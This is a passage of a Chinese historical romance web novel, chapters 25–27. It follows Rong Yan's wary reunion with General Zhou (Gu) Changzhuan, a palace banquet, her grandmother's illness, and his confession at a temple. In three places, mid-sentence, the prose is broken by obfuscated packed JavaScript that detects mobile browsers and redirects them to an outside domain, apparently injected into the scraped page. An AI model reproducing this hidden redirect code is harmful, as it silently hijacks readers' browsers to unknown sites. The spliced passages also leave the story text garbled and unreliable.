容嫣如同之前一般扑进老夫人怀里撒娇。 二婶笑道:“哎呀,我的意思是来不及准备礼物。” “不妨事,你们给我送银子,我也是一样高兴的。”容嫣偎在容老夫人怀里俏皮道。 “我看成,我们还省心给你挑什么称心的礼物。”二婶打趣道。 见女儿一改去年的沉闷,又恢复了先前未出阁那般的欢快性子,旁边冯锦和容肖易夫妻二人对视一眼,眼中都露出欣慰和高兴。 “容靖呢?”容嫣将礼物分了一圈。 “他啊,这一年皮的很,指不定是跑去军营还是书院,又或者去了隔壁……”容成轩话还没说完。 就听外头传来一声:“阿姐!” 容靖今年十岁,短短一年个头窜的很快,已经跟容嫣差不多高了,他飞速窜进厅中。 容嫣抬手抵住他要蹭过来的架势:“你还知道回来,为何今日没在家中等候我归来?” “啊呀,我今日在将军府同长颛哥练枪,一时不查忘了时间,对了……”容靖说着看向身后,“长颛哥今日休沐,正好一同在府中用膳。” 其他几个容府的男人听这话也面色高兴,纷纷出门相迎,显然这一年中,他们同隔壁将军府这个新邻居处的还不错。 容嫣的视线中,厅外的男子穿了一身湛蓝色的长袍,步履稳健的缓行而来。 25. 曾岁寒早芽(一) 不知是不是今日顾长颛衣着风格不同的缘故,同刚从婺州回来时不同,容嫣只觉得他现在身上的威严气场弱了许多。 往日里不苟言笑的一个人,这会儿在院里跟两个堂兄站在一起,像志同道合的好友一般说着话,偶尔薄唇微微上扬,是少有的生动神情。 顾长颛进了厅中,一一对着府中的长辈称呼,随后看到容嫣,他顿了下。 “容大小姐回来了。” 旁边人都察觉到顾长颛称呼的不自然,容二叔笑笑,上前解围,大大方方道:“虽然阿梨在你们淮王府曾有那么一段,但是现在事情已经过去了一年多,且你现在自立封府,承先王妃遗志,改姓为周,我们日后是近邻,那些不愉快的往事渐渐放下吧。” 说罢,容二叔拍了拍容嫣的肩膀:“想必你也知道,我这侄女是不拘小节之人,长颛你也不必太过拘束。” 旁边容三叔也开口道:“你就同叫翩然和玲儿一样,唤嫣儿一声妹妹就好。” 顾长颛颔首,再次看向容嫣,轻唤了声:“嫣儿妹妹。” 容嫣抠紧袖中的手。 “……周将军。”她应声,却还是疏离的语气。 旁边人看出了容嫣的不自在,但也心知毕竟往事在那摆着,不是一时一夕就能忘下的。 容老夫人笑了笑:“你们快招待长颛,来了好一会儿了竟还让人站着。” 看着周围家人对顾长颛的态度,听着祖母的称呼,容嫣心中疑云重重。 晚膳时,容嫣以疲乏为由没去用膳。 府中的管事嬷嬷和几个手脚麻利的丫鬟被老夫人派来明珠阁给容嫣打点。 容嫣似是不经意问道:“周将军何时同府里关系这么亲近了?” 管事嬷嬷帮容嫣将带回来的行李归置妥当,解答道:“大小姐有所不知,自从前年岁末周将军搬来旁边将军府后,同咱们府上的三位大人和三个公子相交甚好。” 另一个丫鬟也搭话:“是啊,周将军这么大的官,但是一点架子也没有,跟大少爷二少爷以兄弟相称,对府中大人和夫人很是客气,对咱们老夫人更是敬重。” “周将军看着不好相与,但是我看他对家中少爷们很是温和啊,靖少爷最爱去将军府了。” “对,起初府中人还估计着周将军曾是……大小姐前姑爷的兄长而有所忌讳,但现在俨然当成了近邻对待。”丫鬟说完,顿觉自己似乎说错了话。 “无碍,你们继续说吧。” 容嫣继续道:“那他为何突然改了姓?” “听说是因为已逝的淮王妃姓周,据说周王妃的娘家周府曾是咱们胤朝的名门,但后来周王妃的父兄都战死沙场,王妃也故去,如今周府门楣日渐衰落,只剩了王妃幼弟的儿子在世,将军现在承王妃遗志改姓为周,还专门派人去周府好生帮周府遗孤重振周府门楣呢。” “当真是有情有义的男子!” “是啊,府中大人对周将军赞不绝口呢。” 听着嬷嬷和丫鬟的解释,容嫣才知道这一年竟然发生了这么多事。 丫鬟们还在讨论周长颛的平易近人。 听到“平易近人”这四个字,容嫣的记忆拉回到一年前,想起王府中那个沉默寡言,不苟言笑,府中人对他多有敬畏的夫兄。 可今天下午,在前厅时,他跟二叔三叔还有两个哥哥说话时,分明是轻轻弯唇笑了下。 跟在王府时不一样。 那时他整日都是黑色锦衣或劲装,也从未像今日这般穿过长袍。 脑海中又浮现起下午顾长颛衣着湛蓝色长袍的模样,色调倒是同他相称,但还是太寡静了些,身上也无任何香囊荷包或者配饰,衬得他越发沉稳内敛,像冷寂冬夜里的雪,沉静又孤寂…… 恍神发觉自己思绪飘远,容嫣微闭了眸子,脑海中的画面被她强行停下。 …… 回府的第二日便是正月十五,繁荣大街上挂满了花灯。 府中堂哥堂嫂还有未出阁的堂妹们要出门看花灯。 容靖也非要拉着容嫣出门,容嫣也很久没在望京看花灯了,便一同去了。 但是没想到刚出门就碰到了顾长颛。 容嫣坐在马车里,听到前头堂哥在跟顾长颛打趣。 “听说陛下让你进宫,长公主府的昭阳郡主没缠着你?竟让你这么快就脱身了。” 容成轩打趣:“大哥你懂什么,咱们周将军心性绝非常人,心中无女人,拔剑自然神,不然又怎么年纪轻轻就成了名镇天下的镇北将军。” 容嫣惊讶于两个堂兄对顾长颛亲近自然的语气,但她更惊讶于顾长颛的态度。 只听顾长颛无奈着笑骂了一句“竖子慎言”,随后两个堂兄哈哈一笑,招呼顾长颛同行。 “我们去繁荣大街看灯,你也一起?” 男人声音温和:“好。” 到了繁华大街,三个男子一起同行,容嫣跟堂嫂和堂妹们一起,她有意避开,同顾长颛只打了个照面,连招呼都没来得及打,容嫣就拉着堂妹混进人群去旁边看灯了。 “怎么人这么多啊!” 繁华大街上的人出奇的多,人流密集。 虽然叮嘱了不要分散了,但是容嫣还是跟堂妹和丫鬟走散了。 无奈,她只好顺着人群继续往前,只等待时机去约好的地方汇合。 容嫣是第一个走回汇合地的,而且很不幸,怕什么来什么,她刚在湖桥旁站了会儿,就见顾长颛出现在了桥头另一侧。 容嫣看着他上了桥,又走下来,走到她面前。 她避无可避。 他站在她面前,发觉容嫣避着他的目光,他顿了下,站定,同容嫣一般看向湖面。 两人没人吭声。 好一会儿,容嫣听到对方主动说了句:“你在这。” “刚才我同你两个堂兄去了旁边的铺子,他们在商量给你准备生辰礼物。”他继续同她说话。 “堂兄要给我惊喜,周将军这般说出来了。”她语气幽幽。 听她终于对她说话,顾长颛侧身,歉意的说了声:“抱歉,我这般说是想着……我也给你准备一份。” 说着,他拿出袖中的物什。 容嫣低头看去,是一枚额前华胜,望京中鲜有女子会佩戴华胜,但容嫣很是喜欢这样打扮,不过这也是嫁人前的事了,他送的首饰,不单单是做工精巧别致,更是每次都能恰到好处戳中她的心思,他竟是如此了解她吗? 看着那熟悉的做工,她没接:“周将军的礼物太贵重,我受不起。” 话说的果决,但她却不敢抬头,不敢去猜测顾长颛此刻的神情是如何。 “周兄,阿梨,你俩在这啊,人太多了,我好不容易挤出来,也不知道她们去哪了。” 容成轩的声音出现在身后,他眼神很好,一眼就看到了顾长颛递到容嫣面前的东西。 容嫣神情闪过一丝慌乱。 好在顾长颛及时解释:“方才听你和成章说要给嫣儿妹妹买生辰贺礼,我总不好当唯一一个空着手的人。” 容成轩看到了容嫣神情中的不自然,只当她还介怀王府的事,他拍拍容嫣的肩膀,低声安抚:“收下吧,周兄的一片心意,阿嫣咱们总得向前看。” 容嫣怕被人看出端倪,心中轻骂了声“二哥知道个屁”,面色自若地从顾长颛手中接过那枚华胜。 道了句“多谢。” 自那晚过后,顾长颛又一连两个月没再有机会见到容嫣,他不敢再轻举妄动。 直到三月三这日,肃帝五十大寿,宫中设宴,四品以上官员及其家眷都来给肃帝贺寿。 容嫣原本不想来的,但是好友相约,她的确也很久没同京中好友会见了。 “阿梨,我有时倒也真的羡慕你。”说话的是户部尚书之女沈梦,是容嫣幼时的玩伴。 大理寺卿之女路徽也出声:“是啊,都说女子和离是不幸之事,可我瞧着阿梨现在倒比在王府时快乐。” 左丞嫡女白浮戈笑道:“哪壶不开提哪壶,那是因为当时阿梨没遇到良人,待日后阿梨遇到良人,说不定更快乐。” 路徽反驳:“那是因为你也嫁得良人才这么说,像我们……唉,也就这么过吧,要是女子能一直不嫁人就好了。” 小亭中,四个好友互相开解闲聊,突然白浮戈指了指远处,掩唇笑:“你们瞧,那不是昭阳郡主,她又在周将军身边了。” 容嫣看去,一眼就看到了不远处的顾长颛,还有他身后的女子,正是曾有过几面之缘的昭阳郡主。 路微探了探头:“听说长公主想让昭阳郡主嫁给周长颛,但是我怎么看这周将军一直态度淡淡,对这昭阳郡主不感兴趣啊。” 沈梦掩唇笑了笑:“这昭阳郡主模样生的蛮好看的,算是个美人了,俗话说女追男隔层纱,我要是男人,被这么个美人天天围着早就心动了,偏偏这周将军是个心性坚韧的,都二十六了,还不急着成婚,我都怀疑……莫非真的同传言那般。” 路微被勾起好奇心:“什么传言?” 听着身边人议论起顾长颛,容嫣下意识不太想听,她低头捻起一块糕点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12146894|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞进嘴里。 “听说周长颛是断袖。”沈梦压低了声音。 “咳咳咳咳……咳咳咳咳……”容嫣被糕点呛到了。 白浮戈赶紧给她倒了杯水:“怎么这么不小心,赶紧喝口水压压。” “真的假的,你别乱说!”路微无语。 沈梦瘪瘪嘴:“都是这么传言的,不然他一个二十六岁的大男人,干嘛至今不娶,听说他院里连个丫鬟都没有,府里的老鼠都全是公的,不信你问问阿梨,好歹周长颛曾是阿梨的夫兄,阿梨你应当知道些。” 听到那句“老鼠都是公的”,容嫣满头黑线:“越传越离谱了,传言不可信。” “好吧。”沈梦遗憾。 不远处,昭阳郡主的动静不算小,容嫣她们待的小亭刚好能听到投壶那处的说笑声。 “周将军,听说你武功厉害,你能不能教教我投壶。” “我不会。” “周将军,过几日是我生辰。”昭阳郡主眼巴巴看着顾长颛。 顾长颛莫名其妙看了她一眼。 “我觉得那彩头就不错,你能不能投中了送给我,当我的生辰礼物。” “不会投。” 昭阳郡主身为长公主的女儿,素来备受宠爱,哪里受过这份委屈,每次顾长颛都是这个态度,今天她终于受不了这份委屈,气跑了。 没一会儿,知道这事的长公主来兴师问罪:“都说周将军行事妥帖周到,是个端方有礼的君子,我看也是虚名,把一个女孩子气跑了,竟还毫无负担的在此处闲聊。” 其实起初顾长颛待那昭阳郡主还是婉拒,但他发觉对方似乎压根儿不明白他的意思,甚至好几次曲解了他的话,他想一定是自己不够直白。 可现在看来,那昭阳郡主年纪轻不懂人情世故也就罢了,长公主总不会不懂。 顾长颛看过去,声音淡漠:“人跑丢了就去找,不知长公主来寻我是何意?” “你!”长公主气滞,“你好歹帮着去找找,你这个态度,真是太过分了。” “我前日不小心伤了手臂,无法去寻,”顾长颛说着,看向宫中的侍卫,“劳驾,帮长公主去寻人吧。” 长公主也被气走了。 “哈哈哈哈哈阿梨,你这前夫兄还挺会气人。”沈梦掩唇笑着。 “是啊,连公主的面子都不给,哈哈哈哈哈,先前只看到长公主趾高气扬同别人说话,还是第一次看到她吃瘪呢。” 刚才的事情自然也落到了容嫣的视线中,她心中五味杂陈。 宫宴一直到晚上,夜宴开席,容嫣中途去更衣。 “周将军,听说你受伤了,这是最好的伤药。” “我并未受伤。” “可是……” 隔着假山,容嫣听到了旁边灯笼下的声音。 顾长颛语气冷漠:“我心中已有心慕之人,我对郡主你无意。” 接着,旁边传来脚步声,应当是顾长颛走了,只剩昭阳郡主在小声啜泣。 容嫣叹了口气,听旁边没了动静,她准备绕过假山出去。 “都听到了?” 声音突然出现在身后,容嫣吓了一跳,捂住胸口。 顾长颛不知何时站到了假山后,他似乎喝了点酒,脸颊微红,语调也有些含糊,目光不加掩饰的直视她。 容嫣避开他的视线,转身要走,对方上前一步,站在了路上,挡住了她的路。 他语调沉沉:“你要避我到何时?” 的确,容嫣一直在避着他,只要他去容府,她都会想办法同他避开。 被挡住去路,容嫣语气微恼:“将军难道以为听了那样的话,我同您还能自若共处?” 顾长颛闭了闭眸子:“容嫣,给我个痛快吧,我只想知道,若是没有之前你和长颢的关系,你是否会对我有意?” 一年前她留下一封字条后就离开了望京城,可现在他还是不甘心,想听她亲口说。 “我对将军无意,从前只把将军当兄长,今后也绝不会对将军有任何非分之想。” 容嫣的语气太决绝了,一如刚才顾长颛拒绝别人时那般。 “请将军收回此物,以后也不要再让人为难,将军的这份心意,我当真消受不起。”容嫣拿出那枚华胜,还给顾长颛。 虽然早已知道答案,但亲耳听到她这般拒绝的话,心口如刀子剜心般剧痛。 当初他对她直言心意,就是为的用他这份肮脏的心思逼她和离,当初她果断和离,对他避之不及,定是对他这份私藏的心思恶心极了。 26. 曾岁寒早芽(二) 自那夜宫宴后,容嫣有段日子没再听到顾长颛的动向,前几个月他还偶尔来容府,近来不曾再登府。 看来那晚的话,他真的听进心里去了。 容嫣这一年来绷紧的心弦松了下来,她心知顾长颛有自己的傲气,她都那般说了,任凭他如何心意也都该放下了。 可不知为何,心底悄然漫上来一股酸涩。 容嫣强镇精神将这份不舒服压下去,不再去想……任凭心里诸多疑问翻涌着,她都保持清醒告诫自己,不该去想。 这日,容府突然有人来说亲。 说亲对象是容嫣。 对方是安伯侯府的长子卢修,听说卢修发妻在三年前病故,给卢修留下了一子一女。 其实这一年间曾有好几家来容府有意给容嫣说亲,但对方要么年龄太大,要么性子顽劣,要么是做继室填房,容肖易都极不满意,有几次甚至无语到把来说媒的人给骂了出去。 在容肖易心里,他的宝贝女儿天下第一好,应当配个顶好的男子,但上门都是癞蛤蟆,现实太叫他失望,失望久了渐渐就拉低了预期。 如今卢修来说亲,容肖易竟有些心动,他将此事告诉容嫣,旁敲侧击:“听说这卢修人品不错,发妻去世三年后才再找,我问过了,他府中无通房和妾室,而且我也见过他,此子生的样貌不错。” 容嫣没好气:“爹爹就这般盼着我嫁出去?我才从皖梁回来不久。” 听女儿这般控诉,容肖易赶紧讨饶:“是爹爹不好,我这不寻思这卢修长得不错……” 见容肖易卑微如此,容嫣笑出声:“好了爹,我逗你的,我也听闻这卢修是个不错的,不过我从未见过他,我可以同他接触几次,若是合适,我会考虑的。” 听容嫣这么说,容肖易松了口气。 冯氏给容嫣梳着头发,也解释道:“阿梨,爹和娘不是嫌弃你,也不是盼着你出嫁,只是我们有时候想,我们总是会老,没法陪你一辈子,比起你一辈子孤单,我们更希望你遇到良人,一个能同你情投意合,彼此托付的良人。” 旁边容肖易补充:“你娘说的对,不过若是一直遇不到良人,你一辈子不嫁,爹也能养得起你,所以你也不用为了嫁人而嫁人,你不需要委曲求全,爹这么努力,就是为了你一辈子开心,若是你受了委屈,爹这努力就都白费了。” 闻言,容嫣靠在容肖易和冯氏中间,轻轻应声:“爹和娘不用担心我,我知道的,我不会委屈了自己。” - 许是年纪大了,容老夫人这两年身子不太好,时常生病,这次病了许久不见好。 府中人急得团团转,容肖易甚至从宫里请来了太医诊治,连太医都束手无策,只说老夫人年纪大了,有可能挺不过去。 容嫣也心急如焚。 老三容肖辞突然想起:“我记得五年前有个温大夫来给母亲看病,当时那大夫虽看似年轻,但有些本事在身上,那时太医也说母亲的病不好说,可那大夫偏偏就把母亲从鬼门关拉了回来。” 容嫣也忽得想起这茬,不等大家说什么,她开口道:“我去请那大夫来。” “可……”二婶有些顾虑,“当时那温大夫是淮王府前姑爷请来的。” “祖母的病要紧,我去一趟。”容嫣也顾不得什么,她急急忙忙去了淮王府。 路上容嫣都想好会被徐侧妃如何刁难,也庆幸如今顾长颢不在京中。 可到了淮王府,还没等见到徐侧妃的面,就听王府下人说温大夫早就不在淮王府了。 她也是今日才知道,温大夫一直都是顾长颛的人,也知道了因为顾长颛改姓周一事惹得徐侧妃生了好大一场气,甚至指着顾长颛的鼻子骂“不孝子”以及诸多难听的话,之后顾长颛再未回过淮王府,算是母子决裂了。 知道温大夫是顾长颛的人,容嫣竟然松了口气,连她也不知道为何,她就是觉得他一定会帮忙。 那些在淮王府的日子又一点点浮现在记忆里,他对她的种种……一切都有迹可循,只是她现在才后知后觉。 夜宴上那些绝情话反反复复在脑海中浮现。 容嫣抬手,用手背轻轻盖住眼眸。 …… “大人刚才去了将军府,周将军一月前去西南平叛乱,那温大夫也随行去了。”丫鬟来禀。 见容嫣着急,丫鬟又解释:“大人已经飞鸽传书寄了快信去,只盼着温大夫能早些回来。” 十日后,温大夫出现在容府,比容嫣预想的还要快了几日。 容老夫人的松鹤居中,风尘仆仆归来的温康在给老夫人施针,如容老三所说,他虽面庞瞧着年轻,但手法无比娴熟,面色沉稳,看着胸有成竹的样子。 半个时辰后,温康从屋中出来。 “老夫人年纪大了,这次是染了风寒,老年人有涎痰咳不出,这涎痰就积聚在肺腑中,时间久了攒的越多,就怕一口涎痰上不来,我给老夫人施针,再配上汤药,这般治上十日,看看能否见效。” 温康解释的很清楚。 “若老夫人有咳涎痰时,你们需要这样拍她的背,帮她把肺腑中的涎痰震出来。”他边说着,边跟伺候的丫鬟婆子比划。 大家赶紧对温康道谢。 “温大夫一路奔波,不曾休息就来为我母亲诊治,实在是万分感激,”容肖易最敬重医者,他吩咐下人,“快些准备干净衣裳和吃食。” 温康面上不显,但在心中嘀咕:这一路快马加鞭,腚都快颠成八瓣了,幸好赶上了,要是老夫人有个不好,将军肯定拿他问罪。 晚上,休息好的温康又来给老夫人施针,忙完看到容嫣,微微颔首,唤了声:“容大小姐。” “多谢温大夫。” 温康对容嫣一如之前,他摆手:“都是将军吩咐的,容大小姐不必客气。” “我有件些事情想问温大夫。” “您但说无妨。” “五年前祖母病重,也是温大夫来给祖母看诊,那时……可也是周将军吩咐温大夫的?” 听这话,温康一愣,随即点点头:“是。” 容嫣心如同在水中飘摇的孤舟,虽然已经猜到了,但真正听到确切答案,她的心还是忽悠悠狠晃了一下。 “温大夫此前是赤统大军的医官?” 温康摇头:“我们温家最早受周府恩惠,后来为报恩便一直跟着周王妃,王妃去世后我就跟着将军了,我不算军中医官,只听将军差遣。” 她在府中的那三年,温康一直在淮王府。 容嫣点点头:“辛苦温大夫了,早些休息吧。” 温康抬头看了眼容嫣,他看出她似乎还有话想问,但不知道为何又没问出来。 他突然有些好奇,将军已经搅得容大小姐跟二公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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出门前,她还是没忍住又多说了句:“将军肩上的伤口似乎伤的很深,还是尽快再处理一番才好。” 那白色布带缠在戎装外面,包扎随意,上面还有血迹渗出来,一看就是未好好处理过伤口。 “好。” 容嫣走出殿门,回禅房的途中经过寺中医堂,医堂的灯已经灭了,这个时辰,寺里的人都睡下了。 孝贤殿中,顾长颛换了个姿势靠坐在案前,他将身上的大氅解开丢在一旁,右侧手臂疼痛难忍。 数日前听到父王病重的消息,他一路骑马往回赶,途中伤口又崩开,来不及好好包扎,他只随意找了个布带暂且缠了一番,先把血止住。 他低头看去,不知道什么时候血又渗出来了。 想到她刚才突然的关心,顾长颛竟觉得痛感少了几分。 只是这会儿手臂发胀,怕是真的要感染了。 左手去够右肩,顾长颛皱着眉头将布条解开,又将里面的黑色上衣完全脱掉,露出健壮有力的背脊,衣服布料从受伤处皮肤上撕下来时不小心又扯到伤口,鲜血顺着手臂留下来。 伤口果然已经发红了。 他一声未吭,只把随身携带的药粉全都倒在伤口上,随后他又将白色里衣撕开,打算先将就着把伤口包扎,等明日白天再医治。 他咬住白色里衣,左手用力,刚撕下一条布条。 殿门又被打开。 “医堂没人了,先用这些药和敷料……” 殿门大开,去而复返的容嫣站在殿门前,她手里拿着白色干净布条和伤药,望着殿内赤着半身靠在草席上的受伤男子,她声音戛然而止。 27. 曾岁寒早芽(三) 比起容嫣,殿里的人似乎更慌乱无措些。 顾长颛甚至都来不及包扎伤口,他随手拿起旁边的外衣正准备草草套上,但是动作一大又扯到了伤口,他闷哼一声。 平日里那个端方稳重的将军,这会儿因为着急忙乱地连衣服袖子都套不上,颇有些狼狈。 容嫣稳了稳心神。 “先将伤口包扎一下再穿吧,你这样扯到伤口会更重的。”她克制着语气,让自己尽可能坦然自若些。 刚才他的动作又扯到了伤口,鲜血顺着手臂蜿蜒流下来一股,看的人心惊。 容嫣皱眉,她走进来,跪坐在顾长颛身侧,手脚麻利的快速把手中的干净帕子摁在伤口上压迫止血。 她听到顾长颛轻闷哼了一声。 “会有些疼,你且忍一下。” 顾长颛没曾想她会这么坦坦荡荡地走进来,还会给他处理伤口。 他出声:“无妨。” 容嫣又加重了些手上的力道。 顾长颛疼的额角青筋跳了一下,但他这次没让自己出声,他侧头看向身边的容嫣,见她目不斜视,大方坦荡地替他处理伤口。 比起他的慌乱,她看上去面色平常,并无一丝波澜。 可就是这样,顾长颛竟也在心田的苦涩中品出一丝甜来。 摁了好一会,容嫣感觉伤口的出血速度慢下来,她轻轻揭开帕子,仔细看那伤口。 她轻轻吸了口气,竟然伤的这么深,伤口也发红了,她眉心不受控制的微蹙了一下。 顾长颛察觉到了她这一瞬的情绪变化,又觉得是自己看错了,她怎么会担心他呢? 容嫣拿起清洗伤口的药水,将伤口简单冲了一下,然后拿出金疮药倒在伤口上,处理完伤口,她拿出手里的干净布条,抬手将肩膀上的伤口缠住。 顾长颛受伤的地方在肩头,需要绕过身体才能更好的固定。 饶是容嫣再故作镇定,可抬头看到那一大片暴露在眼前的皮肤时,她还是没忍住面色发热。 好在她绕到了他的身后,他看不到她的脸。 “好了。” 再站起身时,容嫣的神色又恢复如常。 “多谢。” “将军客气了,温大夫提前归京为我祖母医治,若是有温大夫在,将军的伤想必不会耽误了。” 听她如此解释,顾长颛知道她是出于感谢才帮自己,刚才那些心生的旖旎消散了大半。 他拿起旁边的衣裳,里衣已经被他撕碎,没法穿了,他将外衣套上。 就这样当年看着他穿外衣,莫名怪异,容嫣轻轻别开头。 衣裳穿好,顾长颛将地上残留的东西收拾好。 “你还会包扎?包扎的很好。”他有意无意闲聊,想要化解刚才的窘迫。 “之前跟老师四处游历,他偶尔会去一些危险的地方探索,有时受了伤,都是我给他处理的。” 容嫣说的是廖之先生。 “你跟了廖之先生四年?” 顾长颛之前就曾提起过她是老师的学生,那时她就曾好奇他为何会知道这事,如今他又大致说对了她跟着老师的年岁…… 想问,但不敢问,也不能问。 “嗯,其实不太到四年,老师去世太突然了。”容嫣说起这话时,话里是无尽的遗憾。 容嫣十岁拜入廖之先生门下,一年中有大半年都在外游历,跟着廖之先生的那几年,是容嫣最恣意洒脱的时光,只可惜因为一场重病,廖之先生突然辞世。 光是想到这事,容嫣眼眶微红。 似是察觉到她的情绪,顾长颛语气放的更缓了些:“那时我受了重伤,没能让温康及时赶回来。” 听出他语气里竟带了些自责。 容嫣抬头,她怔怔看着顾长颛,心里有太多的话想问。 察觉到容嫣的目光,顾长颛怕从那视线中看到反感和厌恶,他垂下眼眸,避开她的视线。 她还是把话问了出来:“……重伤,是那次被长矛刺伤吗?” 抬头看到顾长颛投来的视线,容嫣又多解释了句:“是之前你因吐血回府养伤时,温大夫曾提过。” 其实顾长颛受重伤这事,容嫣很早就知道了,只是她那时没想到是被长矛刺穿这么重。 夜色静谧,烛火摇曳,容嫣这会儿跪坐在他身侧,不知为何,今晚她躲避之意没那么明显,甚至有兴致同他说话。 顾长颛抬头,这次他没看错,他竟然真的在她眸中看到了……担忧。 他也不知为何,想到她对自己的心意避之不及,他只觉得心头涌上酸楚。 “……我比长颢要更早爱慕你。”他素来平静的语气里克制不住多了些委屈之意。 “你那时年幼,想必已经忘了我们曾在这里见过,可十年前就在这伽蓝寺的英灵殿中,我们真的见过。” 容嫣抬眼看去,烛火明灭交错,灯影落在男人身上,多了些颓丧之意。 她又没克制住,轻声问:“所以那时你就对我起意了?” 闻声,顾长颛轻轻摇头,随后轻弯了弯唇角,解释道:“你那时才九岁,我对一个小孩动情,岂不是不正常。” 听他这话,容嫣悄悄噘了下嘴。 顾长颛没注意到她这一闪而过的神态,继续解释:“那时父王刚出家,他将府中事务都托付于我,其中就有祖父那一辈跟容府约定的婚事。” “所以你对我并非儿女感情,是一份对所托之事的执念。”容嫣出声。 见她误会了,顾长颛继续解释:“那次在伽蓝寺见你,我虽不至于对一个小孩子动情,但……也不知为何,我会常常想起你,甚至后来我都快不记得你的容貌了,但就只是想着……我虽不在望京,可我见过你的样貌,虽然只是画像……你长大了,拜入了廖之先生门下,你以玄梨为名做词写书,容嫣,你真的太耀眼了,就在获取你消息的日子里,我开始在不知不觉中憧憬着归城,盼着见到你,盼着向你表白心迹,盼着亲口问一问你是不是还记得我,盼着问一问你是否会喜欢我这样的男子……” 这是容嫣第一次听他说这么多话。 那些她不敢问的,被他直白的剖开心展示在她面前。 他甚至知道她就是玄梨。 连爹爹和娘亲至今都没能猜出此事,他竟如何得知? 他靠在供奉神像的案台上,他低头没看她,垂着眸低低陈诉着心意,一字一句都像梵文一样烙在她心上,松动着心口的枷锁。 “莫要再说了。”容嫣出声将顾长颛的话打断。 她起身,迅速背过身去,逃一般地快步离开。 望着容嫣远去的背影,顾长颛嘴角漫上苦涩,眼眶泛了红。 何时喜欢上她的,他自己也说不清道不明,个中感情变化早就融在那无尽寒冷的边疆岁月里,只是想着她,日子就有了暖意。 容嫣一夜未眠,黎明之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12169015|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她不知道他是否还在孝贤殿,她在寺庙中漫无目的的逛着,却始终不敢靠近孝贤殿。 他说她一直在避着他,其实她更是怕见到他。 不知不觉,容嫣走到了寺庙后面的山门外。 这个时节,山寺外的玄梨花已经开败了,满树嫩叶日渐染绿。 山门一侧,几棵无叶的枯树下,几个和尚聚在一起正摆弄着什么。 容嫣正欲走上前去,被后面的人喊住。 “施主,是您?” 容嫣回过头去,喊住她的是个容貌清秀的年轻和尚。 她愣了一下,随后很快想起和尚是谁:“你是修缘?” 小和尚笑着点头:“先前也遇到施主来寺中,只是那时候没能有机会说上话。” 容嫣笑着点头:“你这几年长得高了,我都有些不太敢认了。” 听这话,小和尚腼腆笑笑,抬手摸了摸光秃秃的头。 “对了施主,您之前托我祈愿,我每年都在做,还攒了一些符纸,需要拿给您吗?” 闻此,容嫣身形顿住。 旁边修缘小和尚指了指院中的高大菩提树,笑着道:“记得小时候您为了挂的高,也不怕危险,非要拿梯子去挂在那最高的树枝上,说挂的高,佛祖就能一眼看到。” 容嫣侧眸,顺着看向寺庙中高大的菩提树。 修缘看着容嫣的脸颊,继续道:“施主放心,这五年我也按照当时施主挂的高度,把祈福条带都挂在了最高的树枝上。” 远远望去,红色祈福条带在风中飘扬。 ——我不会帮小将军写梵经,但以后每年我都会替小将军祈愿平安。 她一直记着……从不曾忘记。 不知何时,容嫣缓缓走近了那棵菩提树。 “施主,这是那些祈福后赠予的符纸,还是让被庇佑之人随身佩戴最好。” 修缘不知何时去拿了五张符纸回来。 “施主,以后我继续祈愿。”修缘虽然不知道为何容嫣不亲自祈福,但他并未多问,他还记得五年前容嫣给了他一张八字,托他每年帮她为八字主人祈愿平安。 容嫣接过那五张符纸,她轻声:“不必了,以后我会亲自过来祈愿,多谢你。” 山门外,几个和尚还在围着那几棵枯树,最小的和尚看着大概七八岁的样子,他歪头好奇:“师兄,师兄,你们在干什么啊,为什么要用沾了水的布条把树枝包起来啊?” “这不是水,是师父特意配的药水。” “药水?” “这药水是专门用来给这玄梨树生芽用的,师父说这几棵玄梨树往些年开的最好,也是最耐寒的,不过有一年气候太怪了,这几棵最坚韧的玄梨在腊月里早早冒了芽,结果天太冷了,天气又寒又干,这早芽被冻坏了。” “可是还能活吗?我怎么感觉从我记事起,这几棵树就没开过,怕不是死了。” “不会的,玄梨最耐寒,它们没死,只是冻伤了芽,等用师父特意配制的药水好好养上些时日,说不定哪年就又发芽了。” 风吹过,祈福条带下面挂着的铃铛轻响,那些被容嫣刻意藏起来的记忆被唤醒,不受控的在脑海中恣意翻涌。 怎么会不记得呢,她的记性最好了,那时在伽蓝寺的每一幕,都是她后来反复回忆的美好记忆。 只是她不曾想到…… 那些她年少时的情窦初开,竟一直都是有回应的。